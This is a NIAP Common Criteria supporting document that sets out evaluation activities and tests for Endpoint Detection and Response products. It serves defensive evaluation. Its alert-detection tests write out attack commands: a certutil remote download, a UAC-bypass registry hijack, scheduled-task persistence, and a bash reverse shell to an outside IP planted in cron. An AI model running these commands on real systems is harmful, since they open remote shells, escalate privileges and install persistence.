Supporting Document
Mandatory Technical Document

PP-Module for Endpoint Detection and Response (EDR)

Version: 1.0

2020-10-23

National Information Assurance Partnership

Foreword

This is a Supporting Document (SD), intended to complement the Common Criteria version 3 and the associated Common Evaluation Methodology for Information Technology Security Evaluation.

SDs may be “Guidance Documents”, that highlight specific approaches and application of the standard to areas where no mutual recognition of its application is required, and as such, are not of normative nature, or “Mandatory Technical Documents”, whose application is mandatory for evaluations whose scope is covered by that of the SD. The usage of the latter class is not only mandatory, but certificates issued as a result of their application are recognized under the CCRA.

Technical Editor:
National Information Assurance Partnership (NIAP)

Document history:

Version	Date	Comment
1.0	2020-10-23	First version released

General Purpose:
The purpose of this SD is to define evaluation methods for the functional behavior of Endpoint Detection and Response (EDR) products.

Acknowledgements:
This SD was developed with support from NIAP Endpoint Detection and Response (EDR) Technical Community members, with representatives from industry, government agencies, Common Criteria Test Laboratories, and members of academia.

Table of Contents

1 Introduction
1.1 Technology Area and Scope of Supporting Document
1.2 Structure of the Document
1.3 Terms
1.3.1 Common Criteria Terms
1.3.2 Technical Terms
2 Evaluation Activities for SFRs
2.1 Protection Profile for Application Software
2.1.1 Modified SFRs
2.2 TOE SFR Evaluation Activities
2.2.1 Security Audit (FAU)
2.2.2 Identification and Authentication (FIA)

2.2.3 Security Management (FMT)
2.2.4 Protection of the TSF (FPT)
2.2.5 Trusted Path/Channels (FTP)
3 Evaluation Activities for Optional SFRs
4 Evaluation Activities for Selection-Based SFRs
5 Evaluation Activities for Objective SFRs
5.1 Security Management (FMT)
6 Evaluation Activities for SARs
7 Required Supplementary Information
Appendix A - References

1 Introduction

1.1 Technology Area and Scope of Supporting Document

The scope of the Endpoint Detection and Response (EDR) PP-Module is to describe the security functionality of Endpoint Detection and Response (EDR) products in terms of [CC] and to define functional and assurance requirements for them. The PP-Module is intended for use with the following Base-PP:

- Protection Profile for Application Software, Version 1.3

This SD is mandatory for evaluations of TOEs that claim conformance to a PP-Configuration that includes the PP-Module for :

- Endpoint Detection and Response (EDR), Version 1.0

As such it defines Evaluation Activities for the functionality described in the PP-Module as well as any impacts to the Evaluation Activites to the Base-PP(s) it modifies.

Although Evaluation Activities are defined mainly for the evaluators to follow, in general they also help developers to prepare for evaluation by identifying specific requirements for their TOE. The specific requirements in Evaluation Activities may in some cases clarify the meaning of Security Functional Requirements (SFR), and may identify particular requirements for the content of Security Targets (ST) (especially the TOE Summary Specification), user guidance documentation, and possibly supplementary information (e.g. for entropy analysis or cryptographic key management architecture).

1.2 Structure of the Document

Evaluation Activities can be defined for both SFRs and Security Assurance Requirements (SAR), which are themselves defined in separate sections of the SD.

If any Evaluation Activity cannot be successfully completed in an evaluation, then the overall verdict for the evaluation is a 'fail'. In rare cases there may be acceptable reasons why an Evaluation Activity may be modified or deemed not applicable for a particular TOE, but this must be approved by the Certification Body for the evaluation.

In general, if all Evaluation Activities (for both SFRs and SARs) are successfully completed in an evaluation then it would be expected that the overall verdict for the evaluation is a ‘pass’. To reach a ‘fail’ verdict when the Evaluation Activities have been successfully completed would require a specific justification from the evaluator as to why the Evaluation Activities were not sufficient for that TOE.

Similarly, at the more granular level of assurance components, if the Evaluation Activities for an assurance component and all of its related SFR Evaluation Activities are successfully completed in an evaluation then it would be expected that the verdict for the assurance component is a ‘pass’. To reach a ‘fail’ verdict for the assurance component when these Evaluation Activities have been successfully completed would require a specific justification from the evaluator as to why the Evaluation Activities were not sufficient for that TOE.

1.3 Terms

The following sections list Common Criteria and technology terms used in this document.

1.3.1 Common Criteria Terms

Assurance	Grounds for confidence that a TOE meets the SFRs .
Base Protection Profile (Base-PP)	Protection Profile used as a basis to build a PP-Configuration.
Common Criteria (CC)	Common Criteria for Information Technology Security Evaluation (International Standard ISO/IEC 15408).

Common Criteria Testing Laboratory	Within the context of the Common Criteria Evaluation and Validation Scheme (CCEVS), an IT security evaluation facility, accredited by the National Voluntary Laboratory Accreditation Program (NVLAP) and approved by the NIAP Validation Body to conduct Common Criteria-based evaluations.
Common Evaluation Methodology (CEM)	Common Evaluation Methodology for Information Technology Security Evaluation.
Distributed TOE	A TOE composed of multiple components operating as a logical whole.
Operational Environment (OE)	Hardware and software that are outside the TOE boundary that support the TOE functionality and security policy.
Protection Profile (PP)	An implementation-independent set of security requirements for a category of products.
Protection Profile Configuration (PP-Configuration)	A comprehensive set of security requirements for a product type that consists of at least one Base-PP and at least one PP-Module.
Protection Profile Module (PP-Module)	An implementation-independent statement of security needs for a TOE type complementary to one or more Base Protection Profiles.
Security Assurance Requirement (SAR)	A requirement to assure the security of the TOE.
Security Functional Requirement (SFR)	A requirement for security enforcement by the TOE.
Security Target (ST)	A set of implementation-dependent security requirements for a specific product.
TOE Security Functionality (TSF)	The security functionality of the product under evaluation.
TOE Summary Specification (TSS)	A description of how a TOE satisfies the SFRs in an ST.
Target of Evaluation (TOE)	The product under evaluation.

1.3.2 Technical Terms

Alert	An event or notification on the management dashboard that highlights potentially unauthorized activity.
Endpoint	A computing device that runs a general purpose OS, a mobile device OS, or network device OS. Endpoints can include desktops, servers, and mobile devices.
Endpoint Detection and Response (EDR)	Server software that analyzes collected EDR Host Agent data for detecting, investigating, and remediating unauthorized activities on endpoints. The terms *TOE* and *EDR* are interchangeable in this document.
Endpoint Detection and Response System	The EDR server and the Host Agents they operate with.
Enroll	The act of registering an HA endpoint with the EDR.

Host Agent	Complementary software that executes on endpoints to collect data about the endpoint and executes commands sent to the endpoint from an Enterprise Security Management (ESM) server or service. An example command sent to an endpoint could be to enforce a policy from an ESM, to collect some files, or to run an OS command.
Management Dashboard	A management interface for the configuration of EDR policy, visualization of collected endpoint alert data, and issuing of remediation commands.
Potentially Unauthorized Activity	This refers to the set of activities detected by the TOE, specific items detected may be unique to the TOE
SOC Analyst	Security Operations Center (SOC) Analyst is typically the person responsible for reviewing potentially unauthorized activities via alerts and performing remediation and clean up.

2 Evaluation Activities for SFRs

The EAs presented in this section capture the actions the evaluator performs to address technology specific aspects covering specific SARs (e.g. ASE_TSS.1, ADV_FSP.1, AGD_OPE.1, and ATE_IND.1) – this is in addition to the CEM work units that are performed in Section 6 Evaluation Activities for SARs.

Regarding design descriptions (designated by the subsections labelled TSS, as well as any required supplementary material that may be treated as proprietary), the evaluator must ensure there is specific information that satisfies the EA. For findings regarding the TSS section, the evaluator's verdicts will be associated with the CEM work unit ASE_TSS.1-1. Evaluator verdicts associated with the supplementary evidence will also be associated with ASE_TSS.1-1, since the requirement to provide such evidence is specified in ASE in the PP.

For ensuring the guidance documentation provides sufficient information for the administrators/users as it pertains to SFRs, the evaluator's verdicts will be associated with CEM work units ADV_FSP.1-7, AGD_OPE.1-4, and AGD_OPE.1-5.

Finally, the subsection labelled Tests is where the authors have determined that testing of the product in the context of the associated SFR is necessary. While the evaluator is expected to develop tests, there may be instances where it is more practical for the developer to construct tests, or where the developer may have existing tests. Therefore, it is acceptable for the evaluator to witness developer-generated tests in lieu of executing the tests. In this case, the evaluator must ensure the developer's tests are executing both in the manner declared by the developer and as mandated by the EA. The CEM work units that are associated with the EAs specified in this section are: ATE_IND.1-3, ATE_IND.1-4, ATE_IND.1-5, ATE_IND.1-6, and ATE_IND.1-7.

2.1 Protection Profile for Application Software

The EAs defined in this section are only applicable in cases where the TOE claims conformance to a PP-Configuration that includes the App PP.

2.1.1 Modified SFRs

The PP-Module does not modify any requirements when the App PP is the base.

2.2 TOE SFR Evaluation Activities

2.2.1 Security Audit (FAU)

FAU_ALT_EXT.1 Server Alerts

TSS
The evaluator shall examine the TSS to ensure that it describes how alerts for changes in Host Agent enrollment status and potentially unauthorized activities on enrolled endpoints are detected and displayed. The evaluator shall examine the TSS to ensure it contains the list of unauthorized activity types categorized or labeled by the EDR upon detection.

The evaluator shall examine the TSS to ensure that it describes how alert visualizations are displayed and what content is included.

The evaluator shall examine the TSS to ensure that it describes what formats are supported.

Guidance
The evaluator shall review operational guidance to ensure that it contains documentation on enrolling and unenrolling Host Agents from the EDR.

The evaluator shall review operational guidance to identify a list of unauthorized activity types categorized or labeled by the EDR upon detection.

The evaluator shall ensure guidance includes any needed configuration information for displaying alerts in relation to changes in Host Agent enrollment status and potentially unauthorized activities.

The evaluator shall review the operational guidance to ensure that it contains documentation on using the management dashboard to visualize and view alerts.

The evaluator shall review the operational guidance to ensure that it contains documentation on the products supported for exporting alerts in standards-based formats.

Tests
The evaluator shall perform the following tests:

The evaluator shall follow guidance to unenroll a Host Agent from the EDR and verify that the unenrollment action is recorded in an auditable and timestamped activity log.

The evaluator shall follow guidance to enroll a Host Agent to the EDR and verify that the enrollment action is recorded in an auditable and timestamped activity log.

For Windows, the evaluator shall test the EDR's ability to detect anomalous activity by performing the following subtests based on the platform of the enrolled Host Agent's system, verifying for each that, corresponding alerts were generated in the management dashboard:

- **Test 1:** The evaluator shall open a Windows command prompt as a user and run the command `cmd /c certutil -urlcache -split -f <remote file> <download directory>`, where the remote file is a valid file path to an accessible, remotely stored executable, and the download directory is a valid directory path writable by the current local user.
- **Test 2:** The evaluator shall open a Windows command prompt as a user and run the command `reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "<local executable>" /f`, where the local executable is a valid file path to a readable, local executable. The evaluator will then run the command `cmd.exe /c eventvwr.msc` in the same command prompt window.
- **Test 3:** The evaluator shall open a Windows command prompt as a user and run the command `SCHTASKS /Create /SC ONCE /TN spawn /TR <local executable>" /ST <time>`, where the local executable is a valid file path to a readable, local executable, and time is a start time that occurs within minutes of the task being created.

For Linux, the evaluator shall test the EDR's ability to detect anomalous activity by performing the following subtests based on the platform of the enrolled Host Agent's system, verifying for each that, corresponding alerts were generated in the management dashboard:

- **Test 1:** The evaluator shall open a terminal and run the command `scp <remote user>@<remote host>:<remote path> <download directory>`, where the remote user is a valid user on remote host, remote path is a valid path to a remotely stored executable, and the download directory is a valid directory path writable by the current local user. The remote user's password shall be provided when prompted.
- **Test 2:** The evaluator shall open a terminal and run the command `echo "bash -i >& /dev/tcp/<outside IP>/5050 0>&1 1 &" > /etc/cron.hourly/persist`, where the outside IP is a valid external address.

For all platforms:

- **Test 1:** The evaluator shall review an alert on the management dashboard and verify that the alert contains a severity field and the fields specified in the ST. The evaluator will open or view the alert and verify that a timeline of events is available for review. The timeline shall show a progression of events over time.
- **Test 2:** The evaluator shall pick an alert on the management dashboard and export the alert in every format specified in the ST. The evaluator shall review the operational guidance and the selection from the requirement and verify that export options exist for all the declared formats in the selection. After exporting one alert for each possible format the evaluator shall review the file contents of the exported alert and verify it is the correct format for the selected export option (for example, an export of the IODEF type must contain 'IODEF-Document' in the first element of the exported file).

FAU_COL_EXT.1 Collected Endpoint Data

TSS
The evaluator shall verify that all supported endpoint event data types are described.

Guidance
The evaluator shall review the operational guidance and ensure that it lists all of the collectable types of endpoint event data.

Tests
The evaluator shall perform the following tests:

- **Test 1:** The evaluator shall verify the OS version, architecture, and IP address of a system managed by a Host Agent against the data reported to the EDR.
- **Test 2:** The evaluator shall log in to a system managed by a Host Agent with two separate accounts and verify that the activity is accurately reported to the EDR.
- **Test 3:** The evaluator shall run a known user application provided on the platform OS and verify that subsequent process creation and module loading is accurately reported to the EDR.
- **Test 4:** The evaluator shall create a new non-empty document within persistent storage and verify that the activity is accurately reported to the EDR.
- **Test 5:** The evaluator shall perform an action that causes an event to occur for all items in the assignment and verify the activity is reported to the EDR.

FAU_GEN.1/EDR Audit Data Generation

TSS
The evaluator shall check the TSS and ensure that it lists all of the auditable events claimed in the SFR. The evaluator shall check to make sure that every audit event type specified by the SFR is described in the TSS.

The evaluator shall check the TSS and ensure that it provides a format for audit records. Each audit record format type must be covered, along with a brief description of each field.

Guidance
The evaluator shall check the administrative guide and ensure that it lists all of the auditable events claimed in the SFR. The evaluator shall check to make sure that every audit event type mandated by the SFR is described.

The evaluator shall examine the administrative guide and make a determination of which commands are related to the configuration (including enabling or disabling) of the mechanisms implemented in the EDR that are necessary to enforce the requirements specified in the PP-Module. The evaluator shall document the methodology or approach taken while determining which actions in the administrative guide are security relevant with respect to this PP-Module. The evaluator may perform this activity as part of the activities associated with ensuring the AGD_OPE guidance satisfies the requirements.

The evaluator shall check the administrative guide and ensure that it provides a format for audit records. Each audit record format type must be covered, along with a brief description of each field. The evaluator shall check to make sure that the description of the fields contains the information required in FAU_GEN.1.2/EDR.

Tests
The evaluator shall perform the following tests:

- **Test 1:** The evaluator shall login to the EDR management dashboard and verify that audit log data describing the activity is recorded.
- **Test 2:** The evaluator shall issue a valid remediation command provided by the EDR to a Host Agent and verify that audit log data describing the activity is recorded on the EDR management dashboard.
- **Test 3:** The evaluator shall change a non-destructive EDR configuration option within the EDR management dashboard, change it back to the original setting, and verify that the audit log data describing the activity is recorded.
- **Test 4:** The evalutor shall perform the action to generate all other auditable events listed in the assignement and verify the activity is recorded.

When verifying the test results from FAU_GEN.1.1/EDR, the evaluator shall ensure the audit records generated during testing match the format specified in the administrative guide, and that the fields in each audit record have the proper entries.

Note that the testing here can be accomplished in conjunction with the testing of the security mechanisms directly. For example, testing performed to ensure that the administrative guidance provided is correct verifies that AGD_OPE.1 is satisfied and should address the invocation of the administrative actions that are needed to verify the audit records are generated as expected.

2.2.2 Identification and Authentication (FIA)

FIA_AUT_EXT.1 Dashboard Authentication Mechanisms

TSS
The evaluator shall examine the TSS to ensure that it describes how user authentication is performed. The evaluator shall verify that the authorization methods listed in the TSS are specified and included in the requirements in the ST.

Guidance
The evaluator shall review the operational guidance to ensure that it contains documentation on configuring any supported authentication mechanisms and any support for multifactor authentication.

Tests

- **Test 1:** Conditional: If "provide the following authentication mechanisms" is selected, the evaluator shall create an account with a username and password, verifying that login authentication is case-sensitive. If additional factors are provided, each factor shall be tested for login access with strictly unanimous authentication for those enabled. The evaluator shall verify that login access is granted for correct credentials and denied in cases of incorrect credentials across available factors.
- **Test 2:** Conditional: If "leverage the platform" is selected, the evaluator shall create an account following the platform rules. If additional factors are provided, each factor shall be tested for login access with strictly unanimous authentication for those enabled. The evaluator shall verify that login access is granted for correct credentials and denied in cases of incorrect credentials across available factors.

FIA_PWD_EXT.1 Password Authentication

TSS
The evaluator shall verify the TSS includes all the supported characters, rules, and limitations used by the EDR and that they meet the requirements of the SFR.

Guidance
The evaluator shall review the operational guidance to ensure that it contains documentation on default password policy.

Tests
The evaluator shall perform the following tests:

- **Test 1:** The evaluator shall verify that passwords up to 64 characters are supported.
- **Test 2:** The evaluator shall verify that password composition rules present in operational guidance are enforced. While the evaluator is not required (nor is it feasible) to test all possible composition rules, the evaluator shall ensure that all characters are supported, and rule characteristics listed in the requirement are enforced.

2.2.3 Security Management (FMT)

FMT_SMF.1/ENDPOINT Specification of Management Functions (EDR Management of EDR)

TSS
The evaluator shall verify the TSS contains a list of roles and what functions they can perform. The evaluator shall verify the list matches the chart in the requirement.

Guidance
The evaluator shall review the operational guidance to verify that the EDR has documented capabilities to perform the management functions.

Tests
The evaluator shall perform the below tests with each role, verifying each role is denied or can complete the action below as specified by the chart in the SFR:

- **Test 1:** The evaluator shall configure the amount of time to retain collected EDR data to a time frame in which existing data will be made unavailable and verify that the data is no longer accessible through the EDR management dashboard.
- **Test 2:** The evaluator shall logically or physically inhibit the network communications between a managed endpoint system and the EDR server and verify that the inhibited or halted connectivity status of the Host Agent is recognized on the EDR management dashboard.
- **Test 3:** The evaluator shall use a file that triggers an incident alert to test the suppression of such alerts for that specific file. Upon confirming the creation of incident alerts on access to the file, the evaluator shall configure suppression of the alert for each available suppression denylist file or metadata characteristic and verify that incident alerts are categorized as suppressed, hidden, unavailable, or never created.
- **Test 4:** The evaluator shall attempt each function with each role and verify access conforms with the chart in the requirement.

FMT_SMF.1/HOST Specification of Management Functions (EDR Management of Host Agent)

TSS
The evaluator shall verify the TSS contains a list of roles and what functions they can perform. The evaluator shall verify the list matches the chart in the requirement.

Guidance
The evaluator shall review the operational guidance to verify that the EDR has documented capabilities to perform the management functions.

Tests
The evaluator shall perform the below tests:

- **Test 1:** The evaluator shall modify the time frame for sending Host Agent data to the EDR and verify

that an affected Host Agent is sending data at the intended interval.
- **Test 2:** The evaluator shall tag or categorize a group of individual endpoint systems and verify that the tag or categorization persists within the EDR management dashboard for other users.
- **Test 3:** The evaluator shall attempt each function with each role and verify access conforms with the chart in the requirement.

FMT_SMR.1 Security Management Roles

TSS
The evaluator shall examine the TSS to verify that it describes the roles and the powers granted to and limitations of the role.

Guidance
The evaluator shall review the operational guidance to ensure that it contains instructions for administering the EDR, which user roles are supported, and which permissions each role has.

Tests

- **Test 1:** The evaluator shall verify that the roles of administrator, SOC analyst, and read-only user are available, creating individual accounts with each role assigned.
- **Test 2:** The evaluator shall verify that non-administrator roles are not able to modify the roles of their own account or those of others.
- **Test 3:** In the course of performing the testing activities for the evaluation, the evaluator shall use all supported interfaces, although it is not necessary to repeat each test involving an administrative action with each interface. The evaluator shall ensure, however, that each supported method of administering the EDR that conforms to the requirements of this PP be tested; for instance, if the EDR can be administered through a local hardware interface or TLS/HTTPS then both methods of administration must be exercised during the execution of the test activities.
- **Test 4:** The evaluator shall attempt each function with each role and verify access conforms with the chart in the requirement.

FMT_SRF_EXT.1 Specification of Remediation Functions

TSS
The evaluator shall check to ensure that the TSS describes what roles can perform what remediation actions and how each remediation action is performed.

Guidance
The evaluator shall review the operational guidance to verify that the EDR has documented capabilities to perform the management functions.

Tests
For each role, the evaluator shall perform the below tests, verifying that each role in the chart can perform their permitted functions and are restricted from performing functions that they do not have access to per the legend (Chart legend: X = Mandatory, O = Optional, - = N/A):

- **Test 1:** Conditional: If "logically quarantining the endpoint from the network unless allowlisted" is selected the evaluator shall logically quarantine a managed endpoint system from the network and verify that the system is unable to access network addresses or resources outside of an allowlist.
- **Test 2:** Conditional: If "quarantining the malicious file on the endpoint" is selected the evaluator shall verify the functionality to quarantine potentially unauthorized files on the endpoint.
- **Test 3:** The evaluator shall run an executable on a managed endpoint system, terminate its process from the EDR management dashboard, and then verify that the process is no longer running on the system.
- **Test 4:** The evaluator shall place a file known to trigger an incident alert on the file system then retrieve the contents of the file from the EDR management dashboard.

2.2.4 Protection of the TSF (FPT)

FPT_ITT.1 Basic Internal TSF Data Transfer Protection

TSS
If "invoke platform-provided functionality for..." is selected, the evaluator shall verify the TSS contains the calls to the platform that TOE is leveraging to invoke the functionality.

If "implement..." is selected, the evaluator shall examine the TSS to verify how Agent-Server communications are protected is described and conforms to the SFR. The evaluator shall also confirm that all protocols listed in the TSS are consistent with those specified in the requirement, and are included in the requirements in the ST.

Guidance
The evaluator shall confirm that the operational guidance contains instructions for configuring the communication channel between the Host Agent and the EDR for each supported method.

Tests

- **Test 1:** The evaluators shall ensure that communications using each specified (in the operational guidance) Agent-Server communication method is tested during the course of the evaluation, setting up the connections as described in the operational guidance and ensuring that communication is successful.
- **Test 2:** The evaluator shall ensure, for each method of Agent-Server communication, the channel data is not sent in plaintext.

2.2.5 Trusted Path/Channels (FTP)

FTP_TRP.1 Trusted Path

TSS
The evaluator shall examine the TSS to verify how remote administration communications are protected is described and conforms to the SFR. The evaluator shall examine the TSS to determine that the methods of remote TOE administration are indicated, along with how those communications are protected. The evaluator shall also confirm that all protocols listed in the TSS in support of TOE administration are consistent with those specified in the requirement, and are included in the requirements in the ST.

If "invoke platform-provided functionality for..." is selected in FTP_TRP.1.1, the evaluator shall verify the TSS contains the calls to the platform that TOE is leveraging to invoke the functionality.

Guidance
The evaluator shall confirm that the operational guidance contains instructions for establishing the remote administrative sessions for each supported method.

Tests

- **Test 1:** The evaluators shall ensure that communications using each specified (in the operational guidance) remote administration method is tested during the course of the evaluation, setting up the connections as described in the operational guidance and ensuring that communication is successful.
- **Test 2:** For each method of remote administration supported, the evaluator shall follow the operational guidance to ensure that there is no available interface that can be used by a remote user to establish remote administrative sessions without invoking the trusted path.
- **Test 3:** The evaluator shall ensure, for each method of remote administration, the channel data is not sent in plaintext.

3 Evaluation Activities for Optional SFRs

The PP-Module does not define any optional requirements.

4 Evaluation Activities for Selection-Based SFRs

The PP-Module does not define any selection-based requirements.

5 Evaluation Activities for Objective SFRs

5.1 Security Management (FMT)

FMT_TRM_EXT.1 Trusted Remediation Functions

TSS
The evaluator shall check to ensure that the TSS describes how all commands and policies are signed.

Guidance
The evaluator shall review the operational guidance and ensure that the EDR any configuration information for policy signing is included.

Tests
The evaluator shall select any one remediation function documented in the administrative guide (e.g., terminate process), and execute that command while capturing traffic. The evaluator shall review captured network traffic and verify that a digital signature was sent along with the coinciding command or policy update. The EDR may need to be configured in a manner to disable transport encryption for this test or the network capture tool may need to be configured with the private key such that decrypted traffic can be made available to the evaluator.

6 Evaluation Activities for SARs

The PP-Module does not define any SARs beyond those defined within the App PP base to which it must claim conformance. It is important to note that a TOE that is evaluated against the PP-Module is inherently evaluated against this Base-PP as well. The App PP includes a number of Evaluation Activities associated with

both SFRs and SARs. Additionally, the PP-Module includes a number of SFR-based Evaluation Activities that similarly refine the SARs of the Base-PPs. The evaluation laboratory will evaluate the TOE against the Base-PP and supplement that evaluation with the necessary SFRs that are taken from the PP-Module.

7 Required Supplementary Information

This Supporting Document has no required supplementary information beyond the ST, operational guidance, and testing.

Appendix A - References

Identifier	Title
[CC]	Common Criteria for Information Technology Security Evaluation - • Part 1: Introduction and General Model, CCMB-2017-04-001, Version 3.1 Revision 5, April 2017. • Part 2: Security Functional Components, CCMB-2017-04-002, Version 3.1 Revision 5, April 2017. • Part 3: Security Assurance Components, CCMB-2017-04-003, Version 3.1 Revision 5, April 2017.
[AppPP]	Protection Profile for Application Software, Version 1.3, March 1, 2019
[Host Agent]	PP-Module for Host Agent, Version 1.0, October 23rd 2020